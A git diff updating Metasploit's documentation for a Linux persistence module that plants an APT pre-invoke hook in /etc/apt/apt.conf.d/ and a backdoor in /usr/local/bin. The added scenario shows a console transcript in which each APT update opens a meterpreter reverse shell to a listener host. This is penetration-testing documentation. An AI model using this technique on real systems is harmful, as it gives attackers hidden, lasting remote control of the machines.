diff --git a/documentation/modules/exploit/linux/local/apt_package_manager_persistence.md b/documentation/modules/exploit/linux/local/apt_package_manager_persistence.md index 9e0480c85a..d2beec8e8b 100644 --- a/documentation/modules/exploit/linux/local/apt_package_manager_persistence.md +++ b/documentation/modules/exploit/linux/local/apt_package_manager_persistence.md @@ -1,13 +1,13 @@ -## Apt package manager persistence +## Description This module will run a payload when the package manager is used. No handler is ran automatically so you must configure an appropriate -exploit/multi/handler to connect. Module creates a pre-invoke hook -for APT in apt.conf.d. The Hook name syntax is numeric followed by text. +exploit/multi/handler to connect. This module creates a pre-invoke hook +for APT in apt.conf.d. The hook name syntax is numeric followed by text. -### Testing +## Verification Steps -1. Exploit a box that uses APT +1. Exploit a box that uses APT 2. `use linux/local/apt_package_manager_persistence` 3. `set SESSION ` 4. `set PAYLOAD cmd/unix/reverse_python` configure the payload as needed @@ -15,22 +15,52 @@ for APT in apt.conf.d. The Hook name syntax is numeric followed by text. When the system runs apt-get update the payload will launch. You must set handler accordingly. -### Options +## Options **BACKDOOR_NAME** + Name of backdoor executable - + **HOOKNAME** -Name of pre-invoke hook to be installed in /etc/apt/apt.conf.d/ default is (05new-hook). -Pre-invoke hooks name syntax is numeric followed by text. - -**SESSION** -The session to run this module on. - -### Advanced Options + +Name of pre-invoke hook to be installed in /etc/apt/apt.conf.d/. Pre-invoke hook name syntax is numeric followed by text. **WritableDir** -Writable directory for backdoor default is (/usr/local/bin/) +Writable directory for backdoor default is (/usr/local/bin/) +## Scenarios +### Tested on Ubuntu 18.04.2 LTS + +``` +msf5 > use exploit/linux/local/apt_package_manager_persistence +msf5 exploit(linux/local/apt_package_manager_persistence) > handler -p linux/x86/meterpreter/reverse_tcp -H 172.22.222.136 -P 4444 +[*] Payload handler running as background job 0. +msf5 exploit(linux/local/apt_package_manager_persistence) > +[*] Started reverse TCP handler on 172.22.222.136:4444 +[*] Sending stage (985320 bytes) to 172.22.222.130 +[*] Meterpreter session 1 opened (172.22.222.136:4444 -> 172.22.222.130:60526) at 2019-04-26 13:04:33 -0500 + +msf5 exploit(linux/local/apt_package_manager_persistence) > set session 1 +session => 1 +msf5 exploit(linux/local/apt_package_manager_persistence) > set payload linux/x86/meterpreter/reverse_tcp +payload => linux/x86/meterpreter/reverse_tcp +msf5 exploit(linux/local/apt_package_manager_persistence) > set lhost 172.22.222.136 +lhost => 172.22.222.136 +msf5 exploit(linux/local/apt_package_manager_persistence) > set lport 4444 +lport => 4444 +msf5 exploit(linux/local/apt_package_manager_persistence) > exploit + +[*] Attempting to write hook: +[*] Wrote /etc/apt/apt.conf.d/34bmUIzfd +[*] Backdoor uploaded /usr/local/bin/dbmqKeh6U9 +[*] Backdoor will run on next APT update +msf5 exploit(linux/local/apt_package_manager_persistence) > +[*] Sending stage (985320 bytes) to 172.22.222.130 +[*] Meterpreter session 2 opened (172.22.222.136:4444 -> 172.22.222.130:60528) at 2019-04-26 13:05:17 -0500 + +msf5 exploit(linux/local/apt_package_manager_persistence) > +``` + +Note: Second session comes in after running `apt update` on the remote host